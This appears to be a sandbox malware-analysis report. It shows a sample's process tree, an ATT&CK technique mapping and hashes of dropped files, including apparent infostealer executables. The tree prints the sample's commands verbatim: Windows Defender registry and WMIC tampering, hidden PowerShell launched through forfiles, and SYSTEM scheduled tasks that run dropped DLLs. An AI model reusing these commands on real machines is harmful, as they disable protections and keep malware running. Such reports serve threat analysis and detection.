                                                                                                                            PID:4076
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                              4⤵
                                                                                                                                PID:3100
                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                  5⤵
                                                                                                                                    PID:3376
                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                3⤵
                                                                                                                                • Indirect Command Execution
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:2584
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                  4⤵
                                                                                                                                    PID:3564
                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                      5⤵
                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                      • Drops file in System32 directory
                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:384
                                                                                                                                      • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                        6⤵
                                                                                                                                          PID:904
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /DELETE /F /TN "bvobQgTgLADiTwblyc"
                                                                                                                                  2⤵
                                                                                                                                    PID:2936
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                    2⤵
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    PID:812
                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                      3⤵
                                                                                                                                      • Indirect Command Execution
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:1960
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                        4⤵
                                                                                                                                          PID:784
                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Drops file in System32 directory
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:1272
                                                                                                                                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                              6⤵
                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                              PID:468
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\isELTbHVU\PwOzgg.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "khbketUpMZqoMqg" /V1 /F
                                                                                                                                      2⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                      PID:3108
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "khbketUpMZqoMqg2" /F /xml "C:\Program Files (x86)\isELTbHVU\JfCPhBg.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                      PID:548
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /END /TN "khbketUpMZqoMqg"
                                                                                                                                      2⤵
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:1044
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /DELETE /F /TN "khbketUpMZqoMqg"
                                                                                                                                      2⤵
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:2932
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "fulQjckhKwuWcE" /F /xml "C:\Program Files (x86)\PkHXoyfIcMTU2\SPNmgAF.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                      PID:4900
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "kYsfvIFAgmnbN2" /F /xml "C:\ProgramData\iUpcBoAnfROFusVB\tUzOMEo.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                      PID:2804
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "ZZOSeGyCMpXpvIfyD2" /F /xml "C:\Program Files (x86)\wcWwepsXFbYvlLqpBMR\FMXEOnS.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                      PID:3020
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "cpNXXSfVQrbPtyvACfF2" /F /xml "C:\Program Files (x86)\RJQEYlaXIdKEC\pMQbTRJ.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                      PID:2188
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "QgKmVbYLTduGZihKC" /SC once /ST 04:32:48 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\aPfXqghswcuHVtsm\DebLOLBz\EPaILWX.dll\",#1 /xqdideWry 385104" /V1 /F
                                                                                                                                      2⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                      PID:468
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /run /I /tn "QgKmVbYLTduGZihKC"
                                                                                                                                      2⤵
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:3664
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /DELETE /F /TN "pihWnfNzBScFsSymW"
                                                                                                                                      2⤵
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:2772
                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1164 -s 1952
                                                                                                                                      2⤵
                                                                                                                                      • Program crash
                                                                                                                                      PID:3936
                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2116 -ip 2116
                                                                                                                                    1⤵
                                                                                                                                      PID:4088
                                                                                                                                    • C:\Windows\system32\rundll32.EXE
                                                                                                                                      C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\aPfXqghswcuHVtsm\DebLOLBz\EPaILWX.dll",#1 /xqdideWry 385104
                                                                                                                                      1⤵
                                                                                                                                        PID:2152
                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                          C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\aPfXqghswcuHVtsm\DebLOLBz\EPaILWX.dll",#1 /xqdideWry 385104
                                                                                                                                          2⤵
                                                                                                                                          • Blocklisted process makes network request
                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          • Enumerates system info in registry
                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                          PID:1752
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /DELETE /F /TN "QgKmVbYLTduGZihKC"
                                                                                                                                            3⤵
                                                                                                                                              PID:2852
                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4684 -ip 4684
                                                                                                                                          1⤵
                                                                                                                                            PID:2584
                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1164 -ip 1164
                                                                                                                                            1⤵
                                                                                                                                              PID:4648
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\0ae19c9b3d\Hkbsse.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\0ae19c9b3d\Hkbsse.exe
                                                                                                                                              1⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:4428
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                                                                                                                                              1⤵
                                                                                                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Identifies Wine through registry keys
                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                              PID:3420

                                                                                                                                            Network

                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                            Reconnaissance

                                                                                                                                            Resource Development

                                                                                                                                            Initial Access

                                                                                                                                            Execution

                                                                                                                                            Command and Scripting Interpreter

                                                                                                                                            1
                                                                                                                                            T1059

                                                                                                                                            PowerShell

                                                                                                                                            1
                                                                                                                                            T1059.001

                                                                                                                                            Scheduled Task/Job

                                                                                                                                            1
                                                                                                                                            T1053

                                                                                                                                            Scheduled Task

                                                                                                                                            1
                                                                                                                                            T1053.005

                                                                                                                                            Persistence

                                                                                                                                            Scheduled Task/Job

                                                                                                                                            1
                                                                                                                                            T1053

                                                                                                                                            Scheduled Task

                                                                                                                                            1
                                                                                                                                            T1053.005

                                                                                                                                            Privilege Escalation

                                                                                                                                            Scheduled Task/Job

                                                                                                                                            1
                                                                                                                                            T1053

                                                                                                                                            Scheduled Task

                                                                                                                                            1
                                                                                                                                            T1053.005

                                                                                                                                            Defense Evasion

                                                                                                                                            Indirect Command Execution

                                                                                                                                            1
                                                                                                                                            T1202

                                                                                                                                            Virtualization/Sandbox Evasion

                                                                                                                                            2
                                                                                                                                            T1497

                                                                                                                                            Credential Access

                                                                                                                                            Credentials from Password Stores

                                                                                                                                            1
                                                                                                                                            T1555

                                                                                                                                            Credentials from Web Browsers

                                                                                                                                            1
                                                                                                                                            T1555.003

                                                                                                                                            Unsecured Credentials

                                                                                                                                            4
                                                                                                                                            T1552

                                                                                                                                            Credentials In Files

                                                                                                                                            4
                                                                                                                                            T1552.001

                                                                                                                                            Discovery

                                                                                                                                            Query Registry

                                                                                                                                            7
                                                                                                                                            T1012

                                                                                                                                            System Information Discovery

                                                                                                                                            5
                                                                                                                                            T1082

                                                                                                                                            System Location Discovery

                                                                                                                                            1
                                                                                                                                            T1614

                                                                                                                                            System Language Discovery

                                                                                                                                            1
                                                                                                                                            T1614.001

                                                                                                                                            Virtualization/Sandbox Evasion

                                                                                                                                            2
                                                                                                                                            T1497

                                                                                                                                            Lateral Movement

                                                                                                                                            Collection

                                                                                                                                            Data from Local System

                                                                                                                                            3
                                                                                                                                            T1005

                                                                                                                                            Command and Control

                                                                                                                                            Web Service

                                                                                                                                            1
                                                                                                                                            T1102

                                                                                                                                            Exfiltration

                                                                                                                                            Impact

                                                                                                                                            Replay Monitor

                                                                                                                                            Loading Replay Monitor...

                                                                                                                                            Downloads

                                                                                                                                            • C:\$RECYCLE.BIN\S-1-5-18\desktop.ini
                                                                                                                                              Filesize

                                                                                                                                              129B

                                                                                                                                              MD5

                                                                                                                                              a526b9e7c716b3489d8cc062fbce4005

                                                                                                                                              SHA1

                                                                                                                                              2df502a944ff721241be20a9e449d2acd07e0312

                                                                                                                                              SHA256

                                                                                                                                              e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

                                                                                                                                              SHA512

                                                                                                                                              d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Program Files (x86)\PkHXoyfIcMTU2\SPNmgAF.xml
                                                                                                                                              Filesize

                                                                                                                                              2KB

                                                                                                                                              MD5

                                                                                                                                              179b4c7eec7da6d0a7507378ffb96cd1

                                                                                                                                              SHA1

                                                                                                                                              bee82c527869f8784f8437268d8e9dbeebc66da2

                                                                                                                                              SHA256

                                                                                                                                              c4b3c59333f1ee3539fc63d3190e8b88ea2eae7a514944ff8063a9371dde14f2

                                                                                                                                              SHA512

                                                                                                                                              b294d9d0af68c21e92dec13f5b2c2cbb28a50d702f287d71fc03f9b3e5bea829d5a8fc8b860855a58d5f9625d2a649f0f5103738729507bec0bd08d88ecb201a

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Program Files (x86)\RJQEYlaXIdKEC\pMQbTRJ.xml
                                                                                                                                              Filesize

                                                                                                                                              2KB

                                                                                                                                              MD5

                                                                                                                                              e7318a54112f6190d6bf2706c29e9efa

                                                                                                                                              SHA1

                                                                                                                                              84eac8465746fbee1e47120a261da74815d2b058

                                                                                                                                              SHA256

                                                                                                                                              4e4aa8b4c6426e1d3a44251a509c93398c242c331dedc04878c0d90e359bf9d4

                                                                                                                                              SHA512

                                                                                                                                              fb6e1127c2255502b39764e9b6d62dfc78f972ee6a25cc44cbc424c550285926fecd4faff83bfbd6fa0f8982fb06d6eb1c5ea2ed74f261a5c388870a3f0f4fce

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Program Files (x86)\isELTbHVU\JfCPhBg.xml
                                                                                                                                              Filesize

                                                                                                                                              2KB

                                                                                                                                              MD5

                                                                                                                                              d16a9f1a2fe163a6f5b46fcd72b38d7b

                                                                                                                                              SHA1

                                                                                                                                              f3222bc1a816f068f16f0b6594a62a8945d38475

                                                                                                                                              SHA256

                                                                                                                                              7717bb8389955bfda86b1c88ee5392d6627f1e8baf4b860a29de1308a263b648

                                                                                                                                              SHA512

                                                                                                                                              1e1578442ba2e8d48cad6c2e7324cc32367b31afa79b2978e94ff6cfc8ad1f425230375ac75dad841bfd0ca910e477c58edc7fc4da9a4d6258fd59fb31f66d72

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Program Files (x86)\wcWwepsXFbYvlLqpBMR\FMXEOnS.xml
                                                                                                                                              Filesize

                                                                                                                                              2KB

                                                                                                                                              MD5

                                                                                                                                              45fcd8c105d4ca49b53169cc97da5c98

                                                                                                                                              SHA1

                                                                                                                                              5bd2bbc4739514d1045d57dae92a6be4e16242b6

                                                                                                                                              SHA256

                                                                                                                                              97bfd209fb757609d68ea60791f79406338b1bf50506cf1d7b316fbec2d04adf

                                                                                                                                              SHA512

                                                                                                                                              47bb0f73f3de50264ca5760f69c9fd0a397fdf1d4d8be3279d79455b369ee167402f663bb3e0243b1fc6927d0688e190c4d93ff510eaf4221b36bef153caa46b

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                              Filesize

                                                                                                                                              2.0MB

                                                                                                                                              MD5

                                                                                                                                              668261b991556809b15805c8624bff7a

                                                                                                                                              SHA1

                                                                                                                                              93ed821d8d6c51879d755cee56d463efbf364732

                                                                                                                                              SHA256

                                                                                                                                              ffe61a9970438da82527f991fa9e55eb6abce9a514d1a388cfadbd562a14c868

                                                                                                                                              SHA512

                                                                                                                                              37e91e33e4929fd3237c035c0ee34f1545084101ede8e65a8b6941a341bf8841c5c2d46b749d82ec955a3be6c3074c042df6f2ba8565c447cd41b92b531a1614

                                                                                                                                              Download Submit

                                                                                                                                            • C:\ProgramData\iUpcBoAnfROFusVB\tUzOMEo.xml
                                                                                                                                              Filesize

                                                                                                                                              2KB

                                                                                                                                              MD5

                                                                                                                                              731f462567f1a0449b5279aa737525b9

                                                                                                                                              SHA1

                                                                                                                                              90766cbf16726009d9ce5b955576ec0e2b5ab415

                                                                                                                                              SHA256

                                                                                                                                              65a637f1e981ebe047d0d6519d0c2898540a602036bc027fc4669e676587e55f

                                                                                                                                              SHA512

                                                                                                                                              a2310d74c8731c49e2c413a9bda84e66d4054468e2aa9d1885368c75cd6335ce7541d8d272166d63d17fbc43137f677dbef86626a7b86ba9fe78c65b4b64e040

                                                                                                                                              Download Submit

                                                                                                                                            • C:\ProgramData\mozglue.dll
                                                                                                                                              Filesize

                                                                                                                                              593KB

                                                                                                                                              MD5

                                                                                                                                              c8fd9be83bc728cc04beffafc2907fe9

                                                                                                                                              SHA1

                                                                                                                                              95ab9f701e0024cedfbd312bcfe4e726744c4f2e

                                                                                                                                              SHA256

                                                                                                                                              ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

                                                                                                                                              SHA512

                                                                                                                                              fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

                                                                                                                                              Download Submit

                                                                                                                                            • C:\ProgramData\nss3.dll
                                                                                                                                              Filesize

                                                                                                                                              2.0MB

                                                                                                                                              MD5

                                                                                                                                              1cc453cdf74f31e4d913ff9c10acdde2

                                                                                                                                              SHA1

                                                                                                                                              6e85eae544d6e965f15fa5c39700fa7202f3aafe

                                                                                                                                              SHA256

                                                                                                                                              ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

                                                                                                                                              SHA512

                                                                                                                                              dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
                                                                                                                                              Filesize

                                                                                                                                              187B

                                                                                                                                              MD5

                                                                                                                                              2a1e12a4811892d95962998e184399d8

                                                                                                                                              SHA1

                                                                                                                                              55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                              SHA256

                                                                                                                                              32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                              SHA512

                                                                                                                                              bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
                                                                                                                                              Filesize

                                                                                                                                              136B

                                                                                                                                              MD5

                                                                                                                                              238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                              SHA1

                                                                                                                                              0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                              SHA256

                                                                                                                                              801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                              SHA512

                                                                                                                                              2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
                                                                                                                                              Filesize

                                                                                                                                              150B

                                                                                                                                              MD5

                                                                                                                                              0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                              SHA1

                                                                                                                                              6a51537cef82143d3d768759b21598542d683904

                                                                                                                                              SHA256

                                                                                                                                              0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                              SHA512

                                                                                                                                              5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                                              Filesize

                                                                                                                                              35KB

                                                                                                                                              MD5

                                                                                                                                              af68ad1755cec4f9b6bd2ec323af1879

                                                                                                                                              SHA1

                                                                                                                                              eb93129588bb90f735bec8b39e04aa52ecc1c3d8

                                                                                                                                              SHA256

                                                                                                                                              3544fb1b0e17c1c892d625c4d12b92ac02c493ca55f9cb57b3dbfd17dad55c14

                                                                                                                                              SHA512

                                                                                                                                              23c62a2b957912eb779df8ec565e2e398bb8edce67efe5296c6844fc081b22ad85e8f237c944edfbcd50db2abf462f1a4adc11b6adc7266181335f235507e8e7

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                              Filesize

                                                                                                                                              1KB

                                                                                                                                              MD5

                                                                                                                                              5315900105942deb090a358a315b06fe

                                                                                                                                              SHA1

                                                                                                                                              22fe5d2e1617c31afbafb91c117508d41ef0ce44

                                                                                                                                              SHA256

                                                                                                                                              e8bd7d8d1d0437c71aceb032f9fb08dd1147f41c048540254971cc60e95d6cd7

                                                                                                                                              SHA512

                                                                                                                                              77e8d15b8c34a1cb01dbee7147987e2cc25c747e0f80d254714a93937a6d2fe08cb5a772cf85ceb8fec56415bfa853234a003173718c4229ba8cfcf2ce6335a6

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json
                                                                                                                                              Filesize

                                                                                                                                              151B

                                                                                                                                              MD5

                                                                                                                                              bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                              SHA1

                                                                                                                                              9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                              SHA256

                                                                                                                                              b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                              SHA512

                                                                                                                                              3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                              Filesize

                                                                                                                                              15KB

                                                                                                                                              MD5

                                                                                                                                              62b60b0f0131cf71a7c50fea0675ef41

                                                                                                                                              SHA1

                                                                                                                                              82ca9f3102d6f0e2f02f5d1852fa4fbc61cc8c66

                                                                                                                                              SHA256

                                                                                                                                              5696caf415cf3bf4fb14f55824c258205226428a1e146c9906f012990d118369

                                                                                                                                              SHA512

                                                                                                                                              e73eeeac90b2ca92ff9e5b25d9ccc092e68a6fd3e451b305e163ab0e47c579f8f54bf5d30411c11f6aa971969a5b8a4fa63b34f7c8deaf522901d443c2966e5a

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                              Filesize

                                                                                                                                              11KB

                                                                                                                                              MD5

                                                                                                                                              a610c4d1f7545f788c17fd1be6669714

                                                                                                                                              SHA1

                                                                                                                                              20f8fd15484d58f048cbf1372da23e00c4fb7e70

                                                                                                                                              SHA256

                                                                                                                                              7b3d2022906f4051e78e7ab0b3424c40e2942839021afaaf798216a482f45ddc

                                                                                                                                              SHA512

                                                                                                                                              f640d4f47266b3a94a9c66d7aec4dd703694b7ef3d2e7c6c04843d76a0af1f5fbbdb81fe5cc3e0126181db2599accc7a919f5b529dc98766d113903cc981fb14

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe
                                                                                                                                              Filesize

                                                                                                                                              954KB

                                                                                                                                              MD5

                                                                                                                                              e71c0c5d72455dde6510ba23552d7d2f

                                                                                                                                              SHA1

                                                                                                                                              4dff851c07a9f9ebc9e71b7f675cc20b06a2439c

                                                                                                                                              SHA256

                                                                                                                                              de1d7fe86a0b70a7a268d2960109833f4d126d5d9e3acb36697e8ff59c56017f

                                                                                                                                              SHA512

                                                                                                                                              c6f4b1eb353a554ca49bab5e894a4d7c46e2674d32f2f0d5a9231400d14a9ea5604c079193cd0bed9fea409bb71b5779c0c03671e104cb0740fe8ade3e530ca6

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
                                                                                                                                              Filesize

                                                                                                                                              1.4MB

                                                                                                                                              MD5

                                                                                                                                              04e90b2cf273efb3f6895cfcef1e59ba

                                                                                                                                              SHA1

                                                                                                                                              79afcc39db33426ee8b97ad7bfb48f3f2e4c3449

                                                                                                                                              SHA256

                                                                                                                                              e015f535c8a9fab72f2e06863c559108b1a25af90468cb9f80292c3ba2c33f6e

                                                                                                                                              SHA512

                                                                                                                                              72aa08242507f6dd39822a34c68d6185927f6772a3fc03a0850d7c8542b21a43e176f29e5fbb3a4e54bc02fa68c807a01091158ef68c5a2f425cc432c95ea555

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000005001\newalp.exe
                                                                                                                                              Filesize

                                                                                                                                              416KB

                                                                                                                                              MD5

                                                                                                                                              6093bb59e7707afe20ca2d9b80327b49

                                                                                                                                              SHA1

                                                                                                                                              fd599fa9d5ef5c980a445fc6c19efd1fcb80f2bc

                                                                                                                                              SHA256

                                                                                                                                              3acc0b21db1f774d15a1f1d8080aff0b8f83eefb70c5c673f1c6ed7b676cd6d3

                                                                                                                                              SHA512

                                                                                                                                              d28808686f73bcc13b8ad57c84585b9d55d1b6445807023897be45f229bcab89971fb320223772fa500a692ad0b6106eaa0b4cf35e807038a6050994106d18e1

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000050001\06082025.exe
                                                                                                                                              Filesize

                                                                                                                                              304KB

                                                                                                                                              MD5

                                                                                                                                              0d76d08b0f0a404604e7de4d28010abc

                                                                                                                                              SHA1

                                                                                                                                              ef4270c06b84b0d43372c5827c807641a41f2374

                                                                                                                                              SHA256

                                                                                                                                              6dcda2619b61b0cafbfdebb7fbb82c8c2c0b3f9855a4306782874625d6ff067e

                                                                                                                                              SHA512

                                                                                                                                              979e0d3ec0dad1cc2acd5ec8b0a84a5161e46ee7a30f99d9a3ff3b7ce4eec7f5fa1f11fbe2a84267a7263e04434f4fc7fabc7858ef4c0b7667aeb6dcd3aa7165

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default.exe
                                                                                                                                              Filesize

                                                                                                                                              187KB

                                                                                                                                              MD5

                                                                                                                                              e78239a5b0223499bed12a752b893cad

                                                                                                                                              SHA1

                                                                                                                                              a429b46db791f433180ae4993ebb656d2f9393a4

                                                                                                                                              SHA256

                                                                                                                                              80befdb25413d68adbadd8f236a2e8c71b261d8befc04c99749e778b07bcde89

                                                                                                                                              SHA512

                                                                                                                                              cee5d5d4d32e5575852a412f6b3e17f8c0cbafe97fd92c7024934234a23c240dcc1f7a0452e2e5da949dec09dcfeb006e73862c5bbc549a2ab1cfb0241eaddfc

                                                                                                                                              Download Submit

                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000069001\umrfile%20.exe
                                                                                                                                              Filesize

                                                                                                                                              2.1MB

                                                                                                                                              MD5

                                                                                                                                              f90f8ddedf92f642bd938cdc2f770f70

                                                                                                                                              SHA1

                                                                                                                                              64877a6cdf1f359bf2552121a106f595279dd5d9

                                                                                                                                              SHA256

                                                                                                                                              1d3558065f87e6039aff316dd0771b19a07c3bced1ae951cf290035fb1e4420e

                                                                                                                                              SHA512

